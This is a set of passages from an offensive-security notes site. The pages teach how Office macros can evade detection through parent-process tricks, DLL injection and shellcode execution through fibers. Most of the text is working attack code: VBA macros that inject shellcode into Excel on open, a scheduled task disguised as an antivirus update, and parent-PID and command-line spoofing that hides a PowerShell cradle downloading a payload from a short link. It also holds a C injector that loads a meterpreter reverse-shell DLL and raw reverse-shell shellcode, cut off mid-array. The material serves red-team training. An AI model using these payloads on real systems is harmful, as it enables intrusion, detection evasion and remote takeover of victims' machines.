objWMIService.Get("Win32_ProcessStartup") Set objConfig = objStartup.SpawnInstance_ Set objProcess = GetObject("winmgmts:root\cimv2:Win32_Process") errReturn = objProcess.Create("calc", Null, objConfig, intProcessID) ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-Lc84vytK03gUss6Bq82%252F-Lc84xhBDvLbAFqxRdmJ%252FScreenshot%2520from%25202019-04-10%252022-11-41.png%3Falt%3Dmedia%26token%3Dbdf89554-6aa5-437e-bd14-376445575878&width=768&dpr=3&quality=100&sign=2bfac860&sv=2) [](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/bypassing-malicious-macro-detections-by-defeating-child-parent-process-relationships#spawning-via-shellcom) Spawning via ShellCOM ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- [](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/bypassing-malicious-macro-detections-by-defeating-child-parent-process-relationships#spawning-via-svchost.exe-using-xmldom) Spawning via svchost.exe using XMLDOM --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- xmldom.vba bad.xsl ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-Lc8GvNVhBm6h89j4oln%252F-Lc8Gzy8xXJ92a14qcZb%252FScreenshot%2520from%25202019-04-10%252023-04-07.png%3Falt%3Dmedia%26token%3D86601576-1ad3-4a84-8b29-7e279109c28d&width=768&dpr=3&quality=100&sign=a1a07d0b&sv=2) [](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/bypassing-malicious-macro-detections-by-defeating-child-parent-process-relationships#spawning-via-svchost.exe-using-scheduled-task) Spawning via svchost.exe using Scheduled Task ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-Lc84vytK03gUss6Bq82%252F-Lc86bkB1aIB_9t0iyOy%252FScreenshot%2520from%25202019-04-10%252022-19-03.png%3Falt%3Dmedia%26token%3Db123e018-f766-4946-a78b-5a090cab3dd2&width=768&dpr=3&quality=100&sign=b655345e&sv=2) [](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/bypassing-malicious-macro-detections-by-defeating-child-parent-process-relationships#shellcode-injection-to-excel.exe-memory-using-windows-apis) Shellcode Injection to Excel.exe Memory Using Windows APIs --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-Lc8AMVL3StRs4xu3tz1%252F-Lc8AQ2ELuJ3aLqGhkwz%252FPeek%25202019-04-10%252022-35.gif%3Falt%3Dmedia%26token%3D40fbd6a3-f30a-4f46-ab6f-dc4a942e707f&width=768&dpr=3&quality=100&sign=36e3eafe&sv=2) ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-Lc8AMVL3StRs4xu3tz1%252F-Lc8AWnYVFCosjYtz6U1%252FScreenshot%2520from%25202019-04-10%252022-36-03.png%3Falt%3Dmedia%26token%3D20b53b3a-29e5-4b3e-8414-3421afcdd230&width=768&dpr=3&quality=100&sign=8f585d33&sv=2) TCP session from Excel.exe [](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/bypassing-malicious-macro-detections-by-defeating-child-parent-process-relationships#parent-process-id-spoofing) Parent Process ID Spoofing ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- With this technique it is possible to specify the PID under which our process will be launched as well as process commandline arguments can be spoofed. Note that this is the same technique Cobalt Strike uses under the hood in its `argue` module: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-Lc8AmmL224Y8xuNHqQO%252F-Lc8DdOcb4fKn0ItCJxP%252FScreenshot%2520from%25202019-04-10%252022-49-40.png%3Falt%3Dmedia%26token%3D72474c76-efba-47d3-a246-6a50b7b43464&width=768&dpr=3&quality=100&sign=b7a9e636&sv=2) [](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/bypassing-malicious-macro-detections-by-defeating-child-parent-process-relationships#references) References --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- [https://www.countercept.com/blog/dechaining-macros-and-evading-edr/www.countercept.com](https://www.countercept.com/blog/dechaining-macros-and-evading-edr/) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fs0.wp.com%2Fi%2Ffavicon.ico%3Fm%3D1713425267i&width=20&dpr=3&quality=100&sign=396b9387&sv=2)Excel Exercises in StyleDidier Stevens](https://blog.didierstevens.com/2008/10/23/excel-exercises-in-style/) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fscriptjunkie.us%2Fwp-content%2Fthemes%2Ffusion%2Ffavicon.ico&width=20&dpr=3&quality=100&sign=82e182a7&sv=2)Direct shellcode execution in MS Office macrosThoughts on Security](https://www.scriptjunkie.us/2012/01/direct-shellcode-execution-in-ms-office-macros/) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fs0.wp.com%2Fi%2Ffavicon.ico%3Fm%3D1713425267i&width=20&dpr=3&quality=100&sign=396b9387&sv=2)Shellcode 2 VBScriptDidier Stevens](https://blog.didierstevens.com/2009/05/06/shellcode-2-vbscript/) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fblog.christophetd.fr%2Fwp-content%2Fuploads%2F2024%2F06%2Fcropped-V0jaP4f8_400x400-192x192.jpeg&width=20&dpr=3&quality=100&sign=a57ad068&sv=2)Building an Office macro to spoof parent processes and command line arguments - Christophe Tafani-DereeperChristophe Tafani-Dereeper](https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/) [PreviousInject Macros from a Remote Dotm Template](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/inject-macros-from-a-remote-dotm-template-docx-with-macros) [NextPhishing: Embedded HTML Forms](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-embedded-html-forms) Last updated 6 years ago * [Spawning via WmiPrvse.exe using wmi](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/bypassing-malicious-macro-detections-by-defeating-child-parent-process-relationships#spawning-via-wmiprvse.exe-using-wmi) * [Spawning via ShellCOM](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/bypassing-malicious-macro-detections-by-defeating-child-parent-process-relationships#spawning-via-shellcom) * [Spawning via svchost.exe using XMLDOM](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/bypassing-malicious-macro-detections-by-defeating-child-parent-process-relationships#spawning-via-svchost.exe-using-xmldom) * [Spawning via svchost.exe using Scheduled Task](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/bypassing-malicious-macro-detections-by-defeating-child-parent-process-relationships#spawning-via-svchost.exe-using-scheduled-task) * [Shellcode Injection to Excel.exe Memory Using Windows APIs](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/bypassing-malicious-macro-detections-by-defeating-child-parent-process-relationships#shellcode-injection-to-excel.exe-memory-using-windows-apis) * [Parent Process ID Spoofing](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/bypassing-malicious-macro-detections-by-defeating-child-parent-process-relationships#parent-process-id-spoofing) * [References](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/bypassing-malicious-macro-detections-by-defeating-child-parent-process-relationships#references) macro.vba Copy Set obj = GetObject("new:C08AFD90-F2A1-11D1-8455-00A0C91F3880") obj.Document.Application.ShellExecute "calc",Null,"C:\\Windows\\System32",Null,0 Copy Set xml = CreateObject("Microsoft.XMLDOM") xml.async = False Set xsl = xml xsl.load("file://|http://bad.xsl") xml.transformNode xsl Copy macro.vba Copy Set service = CreateObject("Schedule.Service") Call service.Connect Dim td: Set td = service.NewTask(0) td.RegistrationInfo.Author = "Kaspersky Corporation" td.settings.StartWhenAvailable = True td.settings.Hidden = False Dim triggers: Set triggers = td.triggers Dim trigger: Set trigger = triggers.Create(1) Dim startTime: ts = DateAdd("s", 30, Now) startTime = Year(ts) & "-" & Right(Month(ts), 2) & "-" & Right(Day(ts), 2) & "T" & Right(Hour(ts), 2) & ":" & Right(Minute(ts), 2) & ":" & Right(Second(ts), 2) trigger.StartBoundary = startTime trigger.ID = "TimeTriggerId" Dim Action: Set Action = td.Actions.Create(0) Action.Path = "C:\Windows\System32\cmd.exe" 'Action.Arguments = "/c whoami" Call service.GetFolder("\").RegisterTaskDefinition("AVUpdateTask", td, 6, , , 3) Copy Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Zopqv As Long, ByVal Xhxi As Long, ByVal Mqnynfb As LongPtr, Tfe As Long, ByVal Zukax As Long, Rlere As Long) As LongPtr Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Xwl As Long, ByVal Sstjltuas As Long, ByVal Bnyltjw As Long, ByVal Rso As Long) As LongPtr Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Dkhnszol As LongPtr, ByRef Wwgtgy As Any, ByVal Hrkmuos As Long) As LongPtr Private Declare Function CreateThread Lib "kernel32" (ByVal Zopqv As Long, ByVal Xhxi As Long, ByVal Mqnynfb As Long, Tfe As Long, ByVal Zukax As Long, Rlere As Long) As Long Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Xwl As Long, ByVal Sstjltuas As Long, ByVal Bnyltjw As Long, ByVal Rso As Long) As Long Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Dkhnszol As Long, ByRef Wwgtgy As Any, ByVal Hrkmuos As Long) As Long Sub Auto_Open() Dim Wyzayxya As Long, Hyeyhafxp As Variant, Lezhtplzi As Long, Zolde As Long #If Vba7 Then Dim Xlbufvetp As LongPtr #Else Dim Xlbufvetp As Long #EndIf Hyeyhafxp = Array(232,137,0,0,0,96,137,229,49,210,100,139,82,48,139,82,12,139,82,20, _ 139,114,40,15,183,74,38,49,255,49,192,172,60,97,124,2,44,32,193,207, _ 13,1,199,226,240,82,87,139,82,16,139,66,60,1,208,139,64,120,133,192, _ 116,74,1,208,80,139,72,24,139,88,32,1,211,227,60,73,139,52,139,1, _ 214,49,255,49,192,172,193,207,13,1,199,56,224,117,244,3,125,248,59,125, _ 36,117,226,88,139,88,36,1,211,102,139,12,75,139,88,28,1,211,139,4, _ 139,1,208,137,68,36,36,91,91,97,89,90,81,255,224,88,95,90,139,18, _ 235,134,93,106,1,141,133,185,0,0,0,80,104,49,139,111,135,255,213,187, _ 224,29,42,10,104,166,149,189,157,255,213,60,6,124,10,128,251,224,117,5, _ 187,71,19,114,111,106,0,83,255,213,99,97,108,99,0) Xlbufvetp = VirtualAlloc(0, UBound(Hyeyhafxp), &H1000, &H40) For Zolde = LBound(Hyeyhafxp) To UBound(Hyeyhafxp) Wyzayxya = Hyeyhafxp(Zolde) Lezhtplzi = RtlMoveMemory(Xlbufvetp + Zolde, Wyzayxya, 1) Next Zolde Lezhtplzi = CreateThread(0, 0, Xlbufvetp, 0, 0, 0) End Sub Copy ' code from https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/ ' Windows API constants Const EXTENDED_STARTUPINFO_PRESENT = &H80000 Const HEAP_ZERO_MEMORY = &H8& Const SW_HIDE = &H0& Const PROCESS_ALL_ACCESS = &H1F0FFF Const PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = &H20000 Const TH32CS_SNAPPROCESS = &H2& Const MAX_PATH = 260 ''''''''''''''''''''''''''''''''''''''''''''''''''' ''''''''''''''' Data types '''''''''''''''''''''''' ''''''''''''''''''''''''''''''''''''''''''''''''''' Private Type PROCESS_INFORMATION hProcess As LongPtr hThread As LongPtr dwProcessId As Long dwThreadId As Long End Type Private Type STARTUP_INFO cb As Long lpReserved As String lpDesktop As String lpTitle As String dwX As Long dwY As Long dwXSize As Long dwYSize As Long dwXCountChars As Long dwYCountChars As Long dwFillAttribute As Long dwFlags As Long wShowWindow As Integer cbReserved2 As Integer lpReserved2 As Byte hStdInput As LongPtr hStdOutput As LongPtr hStdError As LongPtr End Type Private Type STARTUPINFOEX STARTUPINFO As STARTUP_INFO lpAttributelist As LongPtr End Type ' from https://codes-sources.commentcamarche.net/source/42365-affinite-des-processus-et-des-threads Private Type PROCESS_BASIC_INFORMATION ExitStatus As Long PEBBaseAddress As Long AffinityMask As Long BasePriority As Long UniqueProcessId As Long ParentProcessId As Long End Type Private Declare Function NtQueryInformationProcess Lib "ntdll.dll" ( _ ByVal processHandle As LongPtr, _ ByVal processInformationClass As Long, _ ByRef processInformation As PROCESS_BASIC_INFORMATION, _ ByVal processInformationLength As Long, _ ByRef returnLength As Long _ ) As Integer ' From https://foren.activevb.de/archiv/vb-net/thread-76040/beitrag-76164/ReadProcessMemory-fuer-GetComma/ Private Type PEB Reserved1(1) As Byte BeingDebugged As Byte Reserved2 As Byte Reserved3(1) As Long Ldr As Long ProcessParameters As Long Reserved4(103) As Byte Reserved5(51) As Long PostProcessInitRoutine As Long Reserved6(127) As Byte Reserved7 As Long SessionId As Long End Type Private Type UNICODE_STRING Length As Integer MaximumLength As Integer Buffer As Long ' to change ^ to Long End Type Private Type RTL_USER_PROCESS_PARAMETERS Reserved1(15) As Byte Reserved2(9) As Long ImagePathName As UNICODE_STRING CommandLine As UNICODE_STRING End Type Private Type PROCESSENTRY32 dwSize As Long cntUsage As Long th32ProcessID As Long th32DefaultHeapID As Long th32ModuleID As Long cntThreads As Long th32ParentProcessID As Long pcPriClassBase As Long dwFlags As Long szexeFile As String * MAX_PATH End Type ''''''''''''''''''''''''''''''''''''''''''''''''''''' ''''''''''''' kernel32 & ntdll bindings ''''''''''''' ''''''''''''''''''''''''''''''''''''''''''''''''''''' Private Declare PtrSafe Function CreateProcess Lib "kernel32.dll" Alias "CreateProcessA" ( _ ByVal lpApplicationName As String, _ ByVal lpCommandLine As String, _ lpProcessAttributes As Long, _ lpThreadAttributes As Long, _ ByVal bInheritHandles As Long, _ ByVal dwCreationFlags As Long, _ lpEnvironment As Any, _ ByVal lpCurrentDriectory As String, _ ByVal lpStartupInfo As LongPtr, _ lpProcessInformation As PROCESS_INFORMATION _ ) As Long Private Declare PtrSafe Function OpenProcess Lib "kernel32.dll" ( _ ByVal dwAccess As Long, _ ByVal fInherit As Integer, _ ByVal hObject As Long _ ) As Long Private Declare PtrSafe Function HeapAlloc Lib "kernel32.dll" ( _ ByVal hHeap As LongPtr, _ ByVal dwFlags As Long, _ ByVal dwBytes As Long _ ) As LongPtr Private Declare PtrSafe Function GetProcessHeap Lib "kernel32.dll" () As LongPtr Private Declare PtrSafe Function InitializeProcThreadAttributeList Lib "kernel32.dll" ( _ ByVal lpAttributelist As LongPtr, _ ByVal dwAttributeCount As Integer, _ ByVal dwFlags As Integer, _ ByRef lpSize As Integer _ ) As Boolean Private Declare PtrSafe Function UpdateProcThreadAttribute Lib "kernel32.dll" ( _ ByVal lpAttributelist As LongPtr, _ ByVal dwFlags As Integer, _ ByVal lpAttribute As Long, _ ByRef lpValue As Long, _ ByVal cbSize As Integer, _ ByRef lpPreviousValue As Integer, _ ByRef lpReturnSize As Integer _ ) As Boolean Private Declare PtrSafe Function CreateToolhelp32Snapshot Lib "kernel32.dll" ( _ ByVal dwFlags As Integer, _ ByVal th32ProcessID As Integer _ ) As Long Private Declare PtrSafe Function Process32First Lib "kernel32.dll" ( _ ByVal hSnapshot As LongPtr, _ ByRef lppe As PROCESSENTRY32 _ ) As Boolean Private Declare PtrSafe Function Process32Next Lib "kernel32.dll" ( _ ByVal hSnapshot As LongPtr, _ ByRef lppe As PROCESSENTRY32 _ ) As Boolean Private Declare Function ReadProcessMemory Lib "kernel32.dll" ( _ ByVal hProcess As LongPtr, _ ByVal lpBaseAddress As LongPtr, _ ByVal lpBuffer As LongPtr, _ ByVal nSize As Long, _ ByRef lpNumberOfBytesRead As Long _ ) As Boolean Private Declare Function WriteProcessMemory Lib "kernel32.dll" ( _ ByVal hProcess As LongPtr, _ ByVal lpBaseAddress As Long, _ ByVal lpBuffer As Any, _ ByVal nSize As Long, _ ByRef lpNumberOfBytesWritten As Long _ ) As Boolean Private Declare Function ResumeThread Lib "kernel32.dll" (ByVal hThread As LongPtr) As Long ''''''''''''''''''''''''''''''''''''''''''''''' '''''''''''''' Utility functions '''''''''''''' ''''''''''''''''''''''''''''''''''''''''''''''' ' Finds the PID of a process given its name Public Function getPidByName(ByVal name As String) As Integer Dim pEntry As PROCESSENTRY32 Dim continueSearching As Boolean pEntry.dwSize = Len(pEntry) Dim snapshot As LongPtr snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, ByVal 0&) continueSearching = Process32First(snapshot, pEntry) Do If Left$(pEntry.szexeFile, Len(name)) = LCase$(name) Then getPidByName = pEntry.th32ProcessID continueSearching = False Else continueSearching = Process32Next(snapshot, pEntry) End If Loop While continueSearching End Function Public Function convertStr(ByVal str As String) As Byte() Dim i, j As Integer Dim result(400) As Byte j = 0 For i = 1 To Len(str): result(j) = Asc(Mid(str, i, 1)) result(j + 1) = &H0 j = j + 2 Next convertStr = result End Function Sub AutoOpen() Dim pi As PROCESS_INFORMATION Dim si As STARTUPINFOEX Dim nullStr As String Dim pid, result As Integer Dim threadAttribSize As Integer Dim parentHandle As LongPtr Dim originalCli As String originalCli = "powershell.exe -NoExit -c Get-Service -DisplayName '*network*' | Where-Object { $_.Status -eq 'Running' } | Sort-Object DisplayName" ' Get a handle on the process to be used as a parent pid = getPidByName("explorer.exe") parentHandle = OpenProcess(PROCESS_ALL_ACCESS, False, pid) ' Initialize process attribute list result = InitializeProcThreadAttributeList(ByVal 0&, 1, 0, threadAttribSize) si.lpAttributelist = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, threadAttribSize) result = InitializeProcThreadAttributeList(si.lpAttributelist, 1, 0, threadAttribSize) ' Set the parent to be our previous handle result = UpdateProcThreadAttribute(si.lpAttributelist, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, parentHandle, Len(parentHandle), ByVal 0&, ByVal 0&) ' Set the size of cb (see https://docs.microsoft.com/en-us/windows/desktop/api/winbase/ns-winbase-_startupinfoexa#remarks) si.STARTUPINFO.cb = LenB(si) ' Hide new process window si.STARTUPINFO.dwFlags = 1 si.STARTUPINFO.wShowWindow = SW_HIDE result = CreateProcess( _ nullStr, _ originalCli, _ ByVal 0&, _ ByVal 0&, _ 1&, _ &H80014, _ ByVal 0&, _ nullStr, _ VarPtr(si), _ pi _ ) ' Spoofing of cli arguments Dim size As Long Dim PEB As PEB Dim pbi As PROCESS_BASIC_INFORMATION Dim newProcessHandle As LongPtr Dim success As Boolean Dim parameters As RTL_USER_PROCESS_PARAMETERS Dim cmdStr As String Dim cmd() As Byte newProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, False, pi.dwProcessId) result = NtQueryInformationProcess(newProcessHandle, 0, pbi, Len(pbi), size) success = ReadProcessMemory(newProcessHandle, pbi.PEBBaseAddress, VarPtr(PEB), Len(PEB), size) ' peb.ProcessParameters now contains the address to the parameters - read them success = ReadProcessMemory(newProcessHandle, PEB.ProcessParameters, VarPtr(parameters), Len(parameters), size) cmdStr = "powershell.exe -noexit -ep bypass -c IEX((New-Object System.Net.WebClient).DownloadString('http://bit.ly/2TxpA4h')) # " cmd = convertStr(cmdStr) success = WriteProcessMemory(newProcessHandle, parameters.CommandLine.Buffer, StrPtr(cmd), 2 * Len(cmdStr), size) ResumeThread (pi.hThread) End Sub --- # DLL Injection | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security/code-injection-process-injection/dll-injection.md) . This lab attempts a classic DLL injection into a remote process. [](https://www.ired.team/offensive-security/code-injection-process-injection/dll-injection#execution) Execution -------------------------------------------------------------------------------------------------------------------- inject-dll.cpp Copy int main(int argc, char *argv[]) { HANDLE processHandle; PVOID remoteBuffer; wchar_t dllPath[] = TEXT("C:\\experiments\\evilm64.dll"); printf("Injecting DLL to PID: %i\n", atoi(argv[1])); processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1]))); remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof dllPath, MEM_COMMIT, PAGE_READWRITE); WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)dllPath, sizeof dllPath, NULL); PTHREAD_START_ROUTINE threatStartRoutineAddress = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW"); CreateRemoteThread(processHandle, NULL, 0, threatStartRoutineAddress, remoteBuffer, 0, NULL); CloseHandle(processHandle); return 0; } Compiling the above code and executing it with a supplied argument of `4892` which is a PID of the notepad.exe process on the victim system: attacker@victim Copy PS C:\experiments\inject1\x64\Debug> .\inject1.exe 4892 Injecting DLL to PID: 4892 After the DLL is successfully injected, the attacker receives a meterpreter session from the injected process and its privileges: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LKwdt_UBG86rVX3XZ2x%252F-LKwe8C1B9bH2TeIu73z%252Finject-dll-shell.png%3Falt%3Dmedia%26token%3Deb1b614d-f45a-4f70-a465-4b9bb400b647&width=768&dpr=3&quality=100&sign=f450d18d&sv=2) 60KB [inject1.exe](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LKwewtTZu_ler4vNxYf%2F-LKwf4McUH9P9t8eWXiL%2Finject1.exe?alt=media&token=60fcca8b-3336-4c4f-a8ba-de5f5dcbe84c) Download[Open](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LKwewtTZu_ler4vNxYf%2F-LKwf4McUH9P9t8eWXiL%2Finject1.exe?alt=media&token=60fcca8b-3336-4c4f-a8ba-de5f5dcbe84c) DLL injector.exe 5KB [evilm64.dll](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LKwbCOHqy9x8IWm4170%2F-LKwbhgFfjWM8ziwRvDF%2Fevilm64.dll?alt=media&token=54fe18d8-67ac-4b37-b3e9-ee914f1b70ce) Download[Open](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LKwbCOHqy9x8IWm4170%2F-LKwbhgFfjWM8ziwRvDF%2Fevilm64.dll?alt=media&token=54fe18d8-67ac-4b37-b3e9-ee914f1b70ce) c:\\experiments\\evilm64.dll (windows/x64/meterpreter/reverse\_tcp) [](https://www.ired.team/offensive-security/code-injection-process-injection/dll-injection#observations) Observations -------------------------------------------------------------------------------------------------------------------------- Note how the notepad spawned rundll32 which then spawned a cmd.exe because of the meterpreter payload (and attacker's `shell` command) that got executed as part of the injected evilm64.dll into the notepad process: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LKwdt_UBG86rVX3XZ2x%252F-LKwe556aCAPH4AAKFn7%252Finject-dll.png%3Falt%3Dmedia%26token%3D61a84412-13df-4290-9deb-7a822d1758c2&width=768&dpr=3&quality=100&sign=bb4ea025&sv=2) ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LKwdt_UBG86rVX3XZ2x%252F-LKwe2epU_trlbY-O06I%252Finject-dll-procmon.png%3Falt%3Dmedia%26token%3D61f35321-a86d-4da2-b3a9-a4a209a66338&width=768&dpr=3&quality=100&sign=e4db7a28&sv=2) [](https://www.ired.team/offensive-security/code-injection-process-injection/dll-injection#references) References ---------------------------------------------------------------------------------------------------------------------- [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Flearn.microsoft.com%2Ffavicon.ico&width=20&dpr=3&quality=100&sign=d8acf9f&sv=2)GetProcAddress function (libloaderapi.h) - Win32 appsMicrosoftLearn](https://msdn.microsoft.com/en-us/library/windows/desktop/ms683212(v=vs.85).aspx) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Flearn.microsoft.com%2Ffavicon.ico&width=20&dpr=3&quality=100&sign=d8acf9f&sv=2)LoadLibraryA function (libloaderapi.h) - Win32 appsMicrosoftLearn](https://msdn.microsoft.com/en-us/library/windows/desktop/ms684175(v=vs.85).aspx) [PreviousCreateRemoteThread Shellcode Injection](https://www.ired.team/offensive-security/code-injection-process-injection/process-injection) [NextReflective DLL Injection](https://www.ired.team/offensive-security/code-injection-process-injection/reflective-dll-injection) Last updated 7 years ago * [Execution](https://www.ired.team/offensive-security/code-injection-process-injection/dll-injection#execution) * [Observations](https://www.ired.team/offensive-security/code-injection-process-injection/dll-injection#observations) * [References](https://www.ired.team/offensive-security/code-injection-process-injection/dll-injection#references) --- # Shellcode Execution through Fibers | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security/code-injection-process-injection/executing-shellcode-with-createfiber.md) . [](https://www.ired.team/offensive-security/code-injection-process-injection/executing-shellcode-with-createfiber#overview) Overview ----------------------------------------------------------------------------------------------------------------------------------------- The purpose of this lab is to use Windows APIs targetting `fibers` to execute shellcode in a local process. > A _fiber_ is a unit of execution that must be manually scheduled by the application. Fibers run in the context of the threads that schedule them. [https://docs.microsoft.com/en-us/windows/win32/procthread/fibers](https://docs.microsoft.com/en-us/windows/win32/procthread/fibers) [](https://www.ired.team/offensive-security/code-injection-process-injection/executing-shellcode-with-createfiber#technique) Technique ------------------------------------------------------------------------------------------------------------------------------------------- The process of the executing shellcode in a local process through fibers: 1. Convert the main thread to a fiber. This is required, because only one fiber can schedule another fiber. 2. Write shellcode to some memory location and make it executable 3. Create a new fiber that points to the shellcode location - this is the fiber we will be scheduling from the fiber we got in step 1 when converting the main thread to a fiber. 4. Schedule the newly created fiber that points to our shellcode 5. The fiber gets scheduled and shellcode executes [](https://www.ired.team/offensive-security/code-injection-process-injection/executing-shellcode-with-createfiber#code) Code --------------------------------------------------------------------------------------------------------------------------------- Below is the code showing how to execute the shellcode using fibers: Copy #include int main() { #convert main thread to fiber PVOID mainFiber = ConvertThreadToFiber(NULL); unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\xac\x14\x0a\x07\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63\x6d\x64\x00\x